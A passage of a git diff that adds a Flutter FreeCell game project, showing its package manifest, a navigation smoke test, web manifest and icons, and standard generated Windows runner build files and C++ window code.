iOS versioning at +# https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys.html +# In Windows, build-name is used as the major, minor, and patch parts +# of the product and file versions while build-number is used as the build suffix. +version: 1.0.3+4 + +environment: + sdk: ^3.11.4 + +# Dependencies specify other packages that your package needs in order to work. +# To automatically upgrade your package dependencies to the latest versions +# consider running `flutter pub upgrade --major-versions`. Alternatively, +# dependencies can be manually updated by changing the version numbers below to +# the latest version available on pub.dev. To see which dependencies have newer +# versions available, run `flutter pub outdated`. +dependencies: + flutter: + sdk: flutter + + # The following adds the Cupertino Icons font to your application. + # Use with the CupertinoIcons class for iOS style icons. + cupertino_icons: ^1.0.8 + flame: ^1.25.0 + audioplayers: ^6.1.0 + shared_preferences: ^2.2.3 + flutter_inappwebview: ^6.1.5 + adjust_sdk: ^5.6.0 + play_install_referrer: ^0.5.0 + pointycastle: ^4.0.0 + url_launcher: ^6.3.0 + url_launcher_android: ^6.3.10 + http: ^1.6.0 + package_info_plus: ^9.0.0 + device_info_plus: ^12.3.0 + android_id: ^0.5.1 + uuid: ^4.5.3 + flutter_vpn_detector: ^0.1.5 + +dev_dependencies: + flutter_test: + sdk: flutter + + # The "flutter_lints" package below contains a set of recommended lints to + # encourage good coding practices. The lint set provided by the package is + # activated in the `analysis_options.yaml` file located at the root of your + # package. See that file for information about deactivating specific lint + # rules and activating additional ones. + flutter_lints: ^6.0.0 + +# For information on the generic Dart part of this file, see the +# following page: https://dart.dev/tools/pub/pubspec + +# The following section is specific to Flutter packages. +flutter: + + # The following line ensures that the Material Icons font is + # included with your application, so that you can use the icons in + # the material Icons class. + uses-material-design: true + assets: + - assets/images/bg/ + - assets/images/cards/ + - assets/audio/ + - assets/html/ + - assets/html/ + + # To add assets to your application, add an assets section, like this: + # assets: + # - images/a_dot_burr.jpeg + # - images/a_dot_ham.jpeg + + # An image asset can refer to one or more resolution-specific "variants", see + # https://flutter.dev/to/resolution-aware-images + + # For details regarding adding assets from package dependencies, see + # https://flutter.dev/to/asset-from-package + + # To add custom fonts to your application, add a fonts section here, + # in this "flutter" section. Each entry in this list should have a + # "family" key with the font family name, and a "fonts" key with a + # list giving the asset and other descriptors for the font. For + # example: + # fonts: + # - family: Schyler + # fonts: + # - asset: fonts/Schyler-Regular.ttf + # - asset: fonts/Schyler-Italic.ttf + # style: italic + # - family: Trajan Pro + # fonts: + # - asset: fonts/TrajanPro.ttf + # - asset: fonts/TrajanPro_Bold.ttf + # weight: 700 + # + # For details regarding fonts from package dependencies, + # see https://flutter.dev/to/font-from-package diff --git a/test/widget_test.dart b/test/widget_test.dart new file mode 100644 index 0000000..e11925e --- /dev/null +++ b/test/widget_test.dart @@ -0,0 +1,33 @@ +import 'package:flutter/material.dart'; +import 'package:flutter_test/flutter_test.dart'; + +import 'package:freecell/main.dart'; +import 'package:freecell/screens/freecell_screen.dart'; +import 'package:freecell/screens/loading_screen.dart'; +import 'package:freecell/screens/start_screen.dart'; + +void main() { + testWidgets('FreeCell app flow routes smoke test', ( + WidgetTester tester, + ) async { + await tester.pumpWidget(const FreeCellDemoApp()); + await tester.pump(); + + expect(find.byType(LoadingScreen), findsOneWidget); + + final context = tester.element(find.byType(LoadingScreen)); + Navigator.of(context).pushReplacementNamed('/start'); + await tester.pump(); + await tester.pump(const Duration(milliseconds: 350)); + + expect(find.byType(StartScreen), findsOneWidget); + + Navigator.of( + tester.element(find.byType(StartScreen)), + ).pushReplacementNamed('/game'); + await tester.pump(); + await tester.pump(const Duration(milliseconds: 350)); + + expect(find.byType(FreeCellScreen), findsOneWidget); + }); +} diff --git a/web/favicon.png b/web/favicon.png new file mode 100644 index 0000000..8aaa46a Binary files /dev/null and b/web/favicon.png differ diff --git a/web/icons/Icon-192.png b/web/icons/Icon-192.png new file mode 100644 index 0000000..b749bfe Binary files /dev/null and b/web/icons/Icon-192.png differ diff --git a/web/icons/Icon-512.png b/web/icons/Icon-512.png new file mode 100644 index 0000000..88cfd48 Binary files /dev/null and b/web/icons/Icon-512.png differ diff --git a/web/icons/Icon-maskable-192.png b/web/icons/Icon-maskable-192.png new file mode 100644 index 0000000..eb9b4d7 Binary files /dev/null and b/web/icons/Icon-maskable-192.png differ diff --git a/web/icons/Icon-maskable-512.png b/web/icons/Icon-maskable-512.png new file mode 100644 index 0000000..d69c566 Binary files /dev/null and b/web/icons/Icon-maskable-512.png differ diff --git a/web/index.html b/web/index.html new file mode 100644 index 0000000..a977955 --- /dev/null +++ b/web/index.html @@ -0,0 +1,46 @@ + + + + + + + + + + + + + + + + + + + + freecell + + + + + + + diff --git a/web/manifest.json b/web/manifest.json new file mode 100644 index 0000000..c2a0870 --- /dev/null +++ b/web/manifest.json @@ -0,0 +1,35 @@ +{ + "name": "freecell", + "short_name": "freecell", + "start_url": ".", + "display": "standalone", + "background_color": "#0175C2", + "theme_color": "#0175C2", + "description": "A new Flutter project.", + "orientation": "portrait-primary", + "prefer_related_applications": false, + "icons": [ + { + "src": "icons/Icon-192.png", + "sizes": "192x192", + "type": "image/png" + }, + { + "src": "icons/Icon-512.png", + "sizes": "512x512", + "type": "image/png" + }, + { + "src": "icons/Icon-maskable-192.png", + "sizes": "192x192", + "type": "image/png", + "purpose": "maskable" + }, + { + "src": "icons/Icon-maskable-512.png", + "sizes": "512x512", + "type": "image/png", + "purpose": "maskable" + } + ] +} diff --git a/windows/.gitignore b/windows/.gitignore new file mode 100644 index 0000000..ec4098a --- /dev/null +++ b/windows/.gitignore @@ -0,0 +1,17 @@ +flutter/ephemeral/ + +# Visual Studio user-specific files. +*.suo +*.user +*.userosscache +*.sln.docstates + +# Visual Studio build-related files. +x64/ +x86/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ diff --git a/windows/CMakeLists.txt b/windows/CMakeLists.txt new file mode 100644 index 0000000..bb92519 --- /dev/null +++ b/windows/CMakeLists.txt @@ -0,0 +1,108 @@ +# Project-level configuration. +cmake_minimum_required(VERSION 3.14) +project(freecell LANGUAGES CXX) + +# The name of the executable created for the application. Change this to change +# the on-disk name of your application. +set(BINARY_NAME "freecell") + +# Explicitly opt in to modern CMake behaviors to avoid warnings with recent +# versions of CMake. +cmake_policy(VERSION 3.14...3.25) + +# Define build configuration option. +get_property(IS_MULTICONFIG GLOBAL PROPERTY GENERATOR_IS_MULTI_CONFIG) +if(IS_MULTICONFIG) + set(CMAKE_CONFIGURATION_TYPES "Debug;Profile;Release" + CACHE STRING "" FORCE) +else() + if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES) + set(CMAKE_BUILD_TYPE "Debug" CACHE + STRING "Flutter build mode" FORCE) + set_property(CACHE CMAKE_BUILD_TYPE PROPERTY STRINGS + "Debug" "Profile" "Release") + endif() +endif() +# Define settings for the Profile build mode. +set(CMAKE_EXE_LINKER_FLAGS_PROFILE "${CMAKE_EXE_LINKER_FLAGS_RELEASE}") +set(CMAKE_SHARED_LINKER_FLAGS_PROFILE "${CMAKE_SHARED_LINKER_FLAGS_RELEASE}") +set(CMAKE_C_FLAGS_PROFILE "${CMAKE_C_FLAGS_RELEASE}") +set(CMAKE_CXX_FLAGS_PROFILE "${CMAKE_CXX_FLAGS_RELEASE}") + +# Use Unicode for all projects. +add_definitions(-DUNICODE -D_UNICODE) + +# Compilation settings that should be applied to most targets. +# +# Be cautious about adding new options here, as plugins use this function by +# default. In most cases, you should add new options to specific targets instead +# of modifying this function. +function(APPLY_STANDARD_SETTINGS TARGET) + target_compile_features(${TARGET} PUBLIC cxx_std_17) + target_compile_options(${TARGET} PRIVATE /W4 /WX /wd"4100") + target_compile_options(${TARGET} PRIVATE /EHsc) + target_compile_definitions(${TARGET} PRIVATE "_HAS_EXCEPTIONS=0") + target_compile_definitions(${TARGET} PRIVATE "$<$:_DEBUG>") +endfunction() + +# Flutter library and tool build rules. +set(FLUTTER_MANAGED_DIR "${CMAKE_CURRENT_SOURCE_DIR}/flutter") +add_subdirectory(${FLUTTER_MANAGED_DIR}) + +# Application build; see runner/CMakeLists.txt. +add_subdirectory("runner") + + +# Generated plugin build rules, which manage building the plugins and adding +# them to the application. +include(flutter/generated_plugins.cmake) + + +# === Installation === +# Support files are copied into place next to the executable, so that it can +# run in place. This is done instead of making a separate bundle (as on Linux) +# so that building and running from within Visual Studio will work. +set(BUILD_BUNDLE_DIR "$") +# Make the "install" step default, as it's required to run. +set(CMAKE_VS_INCLUDE_INSTALL_TO_DEFAULT_BUILD 1) +if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT) + set(CMAKE_INSTALL_PREFIX "${BUILD_BUNDLE_DIR}" CACHE PATH "..." FORCE) +endif() + +set(INSTALL_BUNDLE_DATA_DIR "${CMAKE_INSTALL_PREFIX}/data") +set(INSTALL_BUNDLE_LIB_DIR "${CMAKE_INSTALL_PREFIX}") + +install(TARGETS ${BINARY_NAME} RUNTIME DESTINATION "${CMAKE_INSTALL_PREFIX}" + COMPONENT Runtime) + +install(FILES "${FLUTTER_ICU_DATA_FILE}" DESTINATION "${INSTALL_BUNDLE_DATA_DIR}" + COMPONENT Runtime) + +install(FILES "${FLUTTER_LIBRARY}" DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) + +if(PLUGIN_BUNDLED_LIBRARIES) + install(FILES "${PLUGIN_BUNDLED_LIBRARIES}" + DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) +endif() + +# Copy the native assets provided by the build.dart from all packages. +set(NATIVE_ASSETS_DIR "${PROJECT_BUILD_DIR}native_assets/windows/") +install(DIRECTORY "${NATIVE_ASSETS_DIR}" + DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) + +# Fully re-copy the assets directory on each build to avoid having stale files +# from a previous install. +set(FLUTTER_ASSET_DIR_NAME "flutter_assets") +install(CODE " + file(REMOVE_RECURSE \"${INSTALL_BUNDLE_DATA_DIR}/${FLUTTER_ASSET_DIR_NAME}\") + " COMPONENT Runtime) +install(DIRECTORY "${PROJECT_BUILD_DIR}/${FLUTTER_ASSET_DIR_NAME}" + DESTINATION "${INSTALL_BUNDLE_DATA_DIR}" COMPONENT Runtime) + +# Install the AOT library on non-Debug builds only. +install(FILES "${AOT_LIBRARY}" DESTINATION "${INSTALL_BUNDLE_DATA_DIR}" + CONFIGURATIONS Profile;Release + COMPONENT Runtime) diff --git a/windows/flutter/CMakeLists.txt b/windows/flutter/CMakeLists.txt new file mode 100644 index 0000000..efb62eb --- /dev/null +++ b/windows/flutter/CMakeLists.txt @@ -0,0 +1,109 @@ +# This file controls Flutter-level build steps. It should not be edited. +cmake_minimum_required(VERSION 3.14) + +set(EPHEMERAL_DIR "${CMAKE_CURRENT_SOURCE_DIR}/ephemeral") + +# Configuration provided via flutter tool. +include(${EPHEMERAL_DIR}/generated_config.cmake) + +# TODO: Move the rest of this into files in ephemeral. See +# https://github.com/flutter/flutter/issues/57146. +set(WRAPPER_ROOT "${EPHEMERAL_DIR}/cpp_client_wrapper") + +# Set fallback configurations for older versions of the flutter tool. +if (NOT DEFINED FLUTTER_TARGET_PLATFORM) + set(FLUTTER_TARGET_PLATFORM "windows-x64") +endif() + +# === Flutter Library === +set(FLUTTER_LIBRARY "${EPHEMERAL_DIR}/flutter_windows.dll") + +# Published to parent scope for install step. +set(FLUTTER_LIBRARY ${FLUTTER_LIBRARY} PARENT_SCOPE) +set(FLUTTER_ICU_DATA_FILE "${EPHEMERAL_DIR}/icudtl.dat" PARENT_SCOPE) +set(PROJECT_BUILD_DIR "${PROJECT_DIR}/build/" PARENT_SCOPE) +set(AOT_LIBRARY "${PROJECT_DIR}/build/windows/app.so" PARENT_SCOPE) + +list(APPEND FLUTTER_LIBRARY_HEADERS + "flutter_export.h" + "flutter_windows.h" + "flutter_messenger.h" + "flutter_plugin_registrar.h" + "flutter_texture_registrar.h" +) +list(TRANSFORM FLUTTER_LIBRARY_HEADERS PREPEND "${EPHEMERAL_DIR}/") +add_library(flutter INTERFACE) +target_include_directories(flutter INTERFACE + "${EPHEMERAL_DIR}" +) +target_link_libraries(flutter INTERFACE "${FLUTTER_LIBRARY}.lib") +add_dependencies(flutter flutter_assemble) + +# === Wrapper === +list(APPEND CPP_WRAPPER_SOURCES_CORE + "core_implementations.cc" + "standard_codec.cc" +) +list(TRANSFORM CPP_WRAPPER_SOURCES_CORE PREPEND "${WRAPPER_ROOT}/") +list(APPEND CPP_WRAPPER_SOURCES_PLUGIN + "plugin_registrar.cc" +) +list(TRANSFORM CPP_WRAPPER_SOURCES_PLUGIN PREPEND "${WRAPPER_ROOT}/") +list(APPEND CPP_WRAPPER_SOURCES_APP + "flutter_engine.cc" + "flutter_view_controller.cc" +) +list(TRANSFORM CPP_WRAPPER_SOURCES_APP PREPEND "${WRAPPER_ROOT}/") + +# Wrapper sources needed for a plugin. +add_library(flutter_wrapper_plugin STATIC + ${CPP_WRAPPER_SOURCES_CORE} + ${CPP_WRAPPER_SOURCES_PLUGIN} +) +apply_standard_settings(flutter_wrapper_plugin) +set_target_properties(flutter_wrapper_plugin PROPERTIES + POSITION_INDEPENDENT_CODE ON) +set_target_properties(flutter_wrapper_plugin PROPERTIES + CXX_VISIBILITY_PRESET hidden) +target_link_libraries(flutter_wrapper_plugin PUBLIC flutter) +target_include_directories(flutter_wrapper_plugin PUBLIC + "${WRAPPER_ROOT}/include" +) +add_dependencies(flutter_wrapper_plugin flutter_assemble) + +# Wrapper sources needed for the runner. +add_library(flutter_wrapper_app STATIC + ${CPP_WRAPPER_SOURCES_CORE} + ${CPP_WRAPPER_SOURCES_APP} +) +apply_standard_settings(flutter_wrapper_app) +target_link_libraries(flutter_wrapper_app PUBLIC flutter) +target_include_directories(flutter_wrapper_app PUBLIC + "${WRAPPER_ROOT}/include" +) +add_dependencies(flutter_wrapper_app flutter_assemble) + +# === Flutter tool backend === +# _phony_ is a non-existent file to force this command to run every time, +# since currently there's no way to get a full input/output list from the +# flutter tool. +set(PHONY_OUTPUT "${CMAKE_CURRENT_BINARY_DIR}/_phony_") +set_source_files_properties("${PHONY_OUTPUT}" PROPERTIES SYMBOLIC TRUE) +add_custom_command( + OUTPUT ${FLUTTER_LIBRARY} ${FLUTTER_LIBRARY_HEADERS} + ${CPP_WRAPPER_SOURCES_CORE} ${CPP_WRAPPER_SOURCES_PLUGIN} + ${CPP_WRAPPER_SOURCES_APP} + ${PHONY_OUTPUT} + COMMAND ${CMAKE_COMMAND} -E env + ${FLUTTER_TOOL_ENVIRONMENT} + "${FLUTTER_ROOT}/packages/flutter_tools/bin/tool_backend.bat" + ${FLUTTER_TARGET_PLATFORM} $ + VERBATIM +) +add_custom_target(flutter_assemble DEPENDS + "${FLUTTER_LIBRARY}" + ${FLUTTER_LIBRARY_HEADERS} + ${CPP_WRAPPER_SOURCES_CORE} + ${CPP_WRAPPER_SOURCES_PLUGIN} + ${CPP_WRAPPER_SOURCES_APP} +) diff --git a/windows/flutter/generated_plugin_registrant.cc b/windows/flutter/generated_plugin_registrant.cc new file mode 100644 index 0000000..0a752dc --- /dev/null +++ b/windows/flutter/generated_plugin_registrant.cc @@ -0,0 +1,23 @@ +// +// Generated file. Do not edit. +// + +// clang-format off + +#include "generated_plugin_registrant.h" + +#include +#include +#include +#include + +void RegisterPlugins(flutter::PluginRegistry* registry) { + AudioplayersWindowsPluginRegisterWithRegistrar( + registry->GetRegistrarForPlugin("AudioplayersWindowsPlugin")); + FlutterInappwebviewWindowsPluginCApiRegisterWithRegistrar( + registry->GetRegistrarForPlugin("FlutterInappwebviewWindowsPluginCApi")); + FlutterVpnDetectorPluginRegisterWithRegistrar( + registry->GetRegistrarForPlugin("FlutterVpnDetectorPlugin")); + UrlLauncherWindowsRegisterWithRegistrar( + registry->GetRegistrarForPlugin("UrlLauncherWindows")); +} diff --git a/windows/flutter/generated_plugin_registrant.h b/windows/flutter/generated_plugin_registrant.h new file mode 100644 index 0000000..dc139d8 --- /dev/null +++ b/windows/flutter/generated_plugin_registrant.h @@ -0,0 +1,15 @@ +// +// Generated file. Do not edit. +// + +// clang-format off + +#ifndef GENERATED_PLUGIN_REGISTRANT_ +#define GENERATED_PLUGIN_REGISTRANT_ + +#include + +// Registers Flutter plugins. +void RegisterPlugins(flutter::PluginRegistry* registry); + +#endif // GENERATED_PLUGIN_REGISTRANT_ diff --git a/windows/flutter/generated_plugins.cmake b/windows/flutter/generated_plugins.cmake new file mode 100644 index 0000000..930e357 --- /dev/null +++ b/windows/flutter/generated_plugins.cmake @@ -0,0 +1,28 @@ +# +# Generated file, do not edit. +# + +list(APPEND FLUTTER_PLUGIN_LIST + audioplayers_windows + flutter_inappwebview_windows + flutter_vpn_detector + url_launcher_windows +) + +list(APPEND FLUTTER_FFI_PLUGIN_LIST + jni +) + +set(PLUGIN_BUNDLED_LIBRARIES) + +foreach(plugin ${FLUTTER_PLUGIN_LIST}) + add_subdirectory(flutter/ephemeral/.plugin_symlinks/${plugin}/windows plugins/${plugin}) + target_link_libraries(${BINARY_NAME} PRIVATE ${plugin}_plugin) + list(APPEND PLUGIN_BUNDLED_LIBRARIES $) + list(APPEND PLUGIN_BUNDLED_LIBRARIES ${${plugin}_bundled_libraries}) +endforeach(plugin) + +foreach(ffi_plugin ${FLUTTER_FFI_PLUGIN_LIST}) + add_subdirectory(flutter/ephemeral/.plugin_symlinks/${ffi_plugin}/windows plugins/${ffi_plugin}) + list(APPEND PLUGIN_BUNDLED_LIBRARIES ${${ffi_plugin}_bundled_libraries}) +endforeach(ffi_plugin) diff --git a/windows/runner/CMakeLists.txt b/windows/runner/CMakeLists.txt new file mode 100644 index 0000000..2041a04 --- /dev/null +++ b/windows/runner/CMakeLists.txt @@ -0,0 +1,40 @@ +cmake_minimum_required(VERSION 3.14) +project(runner LANGUAGES CXX) + +# Define the application target. To change its name, change BINARY_NAME in the +# top-level CMakeLists.txt, not the value here, or `flutter run` will no longer +# work. +# +# Any new source files that you add to the application should be added here. +add_executable(${BINARY_NAME} WIN32 + "flutter_window.cpp" + "main.cpp" + "utils.cpp" + "win32_window.cpp" + "${FLUTTER_MANAGED_DIR}/generated_plugin_registrant.cc" + "Runner.rc" + "runner.exe.manifest" +) + +# Apply the standard set of build settings. This can be removed for applications +# that need different build settings. +apply_standard_settings(${BINARY_NAME}) + +# Add preprocessor definitions for the build version. +target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION=\"${FLUTTER_VERSION}\"") +target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_MAJOR=${FLUTTER_VERSION_MAJOR}") +target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_MINOR=${FLUTTER_VERSION_MINOR}") +target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_PATCH=${FLUTTER_VERSION_PATCH}") +target_compile_definitions(${BINARY_NAME} PRIVATE "FLUTTER_VERSION_BUILD=${FLUTTER_VERSION_BUILD}") + +# Disable Windows macros that collide with C++ standard library functions. +target_compile_definitions(${BINARY_NAME} PRIVATE "NOMINMAX") + +# Add dependency libraries and include directories. Add any application-specific +# dependencies here. +target_link_libraries(${BINARY_NAME} PRIVATE flutter flutter_wrapper_app) +target_link_libraries(${BINARY_NAME} PRIVATE "dwmapi.lib") +target_include_directories(${BINARY_NAME} PRIVATE "${CMAKE_SOURCE_DIR}") + +# Run the Flutter tool portions of the build. This must not be removed. +add_dependencies(${BINARY_NAME} flutter_assemble) diff --git a/windows/runner/Runner.rc b/windows/runner/Runner.rc new file mode 100644 index 0000000..2a8f140 --- /dev/null +++ b/windows/runner/Runner.rc @@ -0,0 +1,121 @@ +// Microsoft Visual C++ generated resource script. +// +#pragma code_page(65001) +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (United States) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#include ""winres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_APP_ICON ICON "resources\\app_icon.ico" + + +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +#if defined(FLUTTER_VERSION_MAJOR) && defined(FLUTTER_VERSION_MINOR) && defined(FLUTTER_VERSION_PATCH) && defined(FLUTTER_VERSION_BUILD) +#define VERSION_AS_NUMBER FLUTTER_VERSION_MAJOR,FLUTTER_VERSION_MINOR,FLUTTER_VERSION_PATCH,FLUTTER_VERSION_BUILD +#else +#define VERSION_AS_NUMBER 1,0,0,0 +#endif + +#if defined(FLUTTER_VERSION) +#define VERSION_AS_STRING FLUTTER_VERSION +#else +#define VERSION_AS_STRING "1.0.0" +#endif + +VS_VERSION_INFO VERSIONINFO + FILEVERSION VERSION_AS_NUMBER + PRODUCTVERSION VERSION_AS_NUMBER + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK +#ifdef _DEBUG + FILEFLAGS VS_FF_DEBUG +#else + FILEFLAGS 0x0L +#endif + FILEOS VOS__WINDOWS32 + FILETYPE VFT_APP + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904e4" + BEGIN + VALUE "CompanyName", "com.example" "\0" + VALUE "FileDescription", "freecell" "\0" + VALUE "FileVersion", VERSION_AS_STRING "\0" + VALUE "InternalName", "freecell" "\0" + VALUE "LegalCopyright", "Copyright (C) 2026 com.example. All rights reserved." "\0" + VALUE "OriginalFilename", "freecell.exe" "\0" + VALUE "ProductName", "freecell" "\0" + VALUE "ProductVersion", VERSION_AS_STRING "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1252 + END +END + +#endif // English (United States) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED diff --git a/windows/runner/flutter_window.cpp b/windows/runner/flutter_window.cpp new file mode 100644 index 0000000..c819cb0 --- /dev/null +++ b/windows/runner/flutter_window.cpp @@ -0,0 +1,71 @@ +#include "flutter_window.h" + +#include + +#include "flutter/generated_plugin_registrant.h" + +FlutterWindow::FlutterWindow(const flutter::DartProject& project) + : project_(project) {} + +FlutterWindow::~FlutterWindow() {} + +bool FlutterWindow::OnCreate() { + if (!Win32Window::OnCreate()) { + return false; + } + + RECT frame = GetClientArea(); + + // The size here must match the window dimensions to avoid unnecessary surface + // creation / destruction in the startup path. + flutter_controller_ = std::make_unique( + frame.right - frame.left, frame.bottom - frame.top, project_); + // Ensure that basic setup of the controller was successful. + if (!flutter_controller_->engine() || !flutter_controller_->view()) { + return false; + } + RegisterPlugins(flutter_controller_->engine()); + SetChildContent(flutter_controller_->view()->GetNativeWindow()); + + flutter_controller_->engine()->SetNextFrameCallback([&]() { + this->Show(); + }); + + // Flutter can complete the first frame before the "show window" callback is + // registered. The following call ensures a frame is pending to ensure the + // window is shown. It is a no-op if the first frame hasn't completed yet. + flutter_controller_->ForceRedraw(); + + return true; +} + +void FlutterWindow::OnDestroy() { + if (flutter_controller_) { + flutter_controller_ = nullptr; + } + + Win32Window::OnDestroy(); +} + +LRESULT +FlutterWindow::MessageHandler(HWND hwnd, UINT const message, + WPARAM const wparam, + LPARAM const lparam) noexcept { + // Give Flutter, including plugins, an opportunity to handle window messages. + if (flutter_controller_) { + std::optional result = + flutter_controller_->HandleTopLevelWindowProc(hwnd, message, wparam, + lparam); + if (result) { + return *result; + } + } + + switch (message) { + case WM_FONTCHANGE: + flutter_controller_->engine()->ReloadSystemFonts(); + break; + } + + return Win32Window::MessageHandler(hwnd, message, wparam, lparam); +} diff --git a/windows/runner/flutter_window.h b/windows/runner/flutter_window.h new file mode 100644 index 0000000..28c2383 --- /dev/null +++ b/windows/runner/flutter_window.h @@ -0,0 +1,33 @@ +#ifndef RUNNER_FLUTTER_WINDOW_H_ +#define RUNNER_FLUTTER_WINDOW_H_ + +#include +#include + +#include + +#include "win32_window.h" + +// A window that does nothing but host a Flutter view. +class FlutterWindow : public Win32Window { + public: + // Creates a new FlutterWindow hosting a Flutter view running |project|. + explicit FlutterWindow(const flutter::DartProject& project); + virtual ~FlutterWindow(); + + protected: + // Win32Window: + bool OnCreate() override; + void OnDestroy() override; + LRESULT MessageHandler(HWND window, UINT const message, WPARAM const wparam, + LPARAM const lparam) noexcept override; + + private: + // The project to run. + flutter::DartProject project_; + + // The Flutter instance hosted by this window. + std::unique_ptr flutter_controller_; +}; + +#endif // RUNNER_FLUTTER_WINDOW_H_ diff --git a/windows/runner/main.cpp b/windows/runner/main.cpp new file mode 100644 index 0000000..11ff006 --- /dev/null +++ b/windows/runner/main.cpp @@ -0,0 +1,43 @@ +#include +#include +#include + +#include "flutter_window.h" +#include "utils.h" + +int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev, + _In_ wchar_t *command_line, _In_ int show_command) { + // Attach to console when present (e.g., 'flutter run') or create a + // new console when running with a debugger. + if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) { + CreateAndAttachConsole(); + } + + // Initialize COM, so that it is available for use in the library and/or + // plugins. + ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED); + + flutter::DartProject project(L"data"); + + std::vector command_line_arguments = + GetCommandLineArguments(); + + project.set_dart_entrypoint_arguments(std::move(command_line_arguments)); + + FlutterWindow window(project); + Win32Window::Point origin(10, 10); + Win32Window::Size size(1280, 720); + if (!window.Create(L"freecell", origin, size)) { + return EXIT_FAILURE; + } + window.SetQuitOnClose(true); + + ::MSG msg; + while (::GetMessage(&msg, nullptr, 0, 0)) { + ::TranslateMessage(&msg); + ::DispatchMessage(&msg); + } + + ::CoUninitialize(); + return EXIT_SUCCESS; +} diff --git a/windows/runner/resource.h b/windows/runner/resource.h new file mode 100644 index 0000000..ddc7f3e --- /dev/null +++ b/windows/runner/resource.h @@ -0,0 +1,16 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by Runner.rc +// +#define IDI_APP_ICON 101 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/windows/runner/resources/app_icon.ico b/windows/runner/resources/app_icon.ico new file mode 100644 index 0000000..c04e20c Binary files /dev/null and b/windows/runner/resources/app_icon.ico differ diff --git a/windows/runner/runner.exe.manifest b/windows/runner/runner.exe.manifest new file mode 100644 index 0000000..4b962bb --- /dev/null +++ b/windows/runner/runner.exe.manifest @@ -0,0 +1,14 @@ + + + + + PerMonitorV2 + + + + + + + + + diff --git a/windows/runner/utils.cpp b/windows/runner/utils.cpp new file mode 100644 index 0000000..259d85b --- /dev/null +++ b/windows/runner/utils.cpp @@ -0,0 +1,65 @@ +#include "utils.h" + +#include +#include +#include +#include + +#include + +void CreateAndAttachConsole() { + if (::AllocConsole()) { + FILE *unused; + if (freopen_s(&unused, "CONOUT$", "w", stdout)) { + _dup2(_fileno(stdout), 1); + } + if (freopen_s(&unused, "CONOUT$", "w", stderr)) { + _dup2(_fileno(stdout), 2); + } + std::ios::sync_with_stdio(); + FlutterDesktopResyncOutputStreams(); + } +} + +std::vector GetCommandLineArguments() { + // Convert the UTF-16 command line arguments to UTF-8 for the Engine to use. + int argc; + wchar_t** argv = ::CommandLineToArgvW(::GetCommandLineW(), &argc); + if (argv == nullptr) { + return std::vector(); + } + + std::vector command_line_arguments; + + // Skip the first argument as it's the binary name. + for (int i = 1; i < argc; i++) { + command_line_arguments.push_back(Utf8FromUtf16(argv[i])); + } + + ::LocalFree(argv); + + return command_line_arguments; +} + +std::string Utf8FromUtf16(const wchar_t* utf16_string) { + if (utf16_string == nullptr) { + return std::string(); + } + unsigned int target_length = ::WideCharToMultiByte( + CP_UTF8, WC_ERR_INVALID_CHARS, utf16_string, + -1, nullptr, 0, nullptr, nullptr) + -1; // remove the trailing null character + int input_length = (int)wcslen(utf16_string); + std::string utf8_string; + if (target_length == 0 || target_length > utf8_string.max_size()) { + return utf8_string; + } + utf8_string.resize(target_length); + int converted_length = ::WideCharToMultiByte( + CP_UTF8, WC_ERR_INVALID_CHARS, utf16_string, + input_length, utf8_string.data(), target_length, nullptr, nullptr); + if (converted_length == 0) { + return std::string(); + } + return utf8_string; +} diff --git a/windows/runner/utils.h b/windows/runner/utils.h new file mode 100644 index 0000000..3f0e05c --- /dev/null +++ b/windows/runner/utils.h @@ -0,0 +1,19 @@ +#ifndef RUNNER_UTILS_H_ +#define RUNNER_UTILS_H_ + +#include +#include + +// Creates a console for the process, and redirects stdout and stderr to +// it for both the runner and the Flutter library. +void 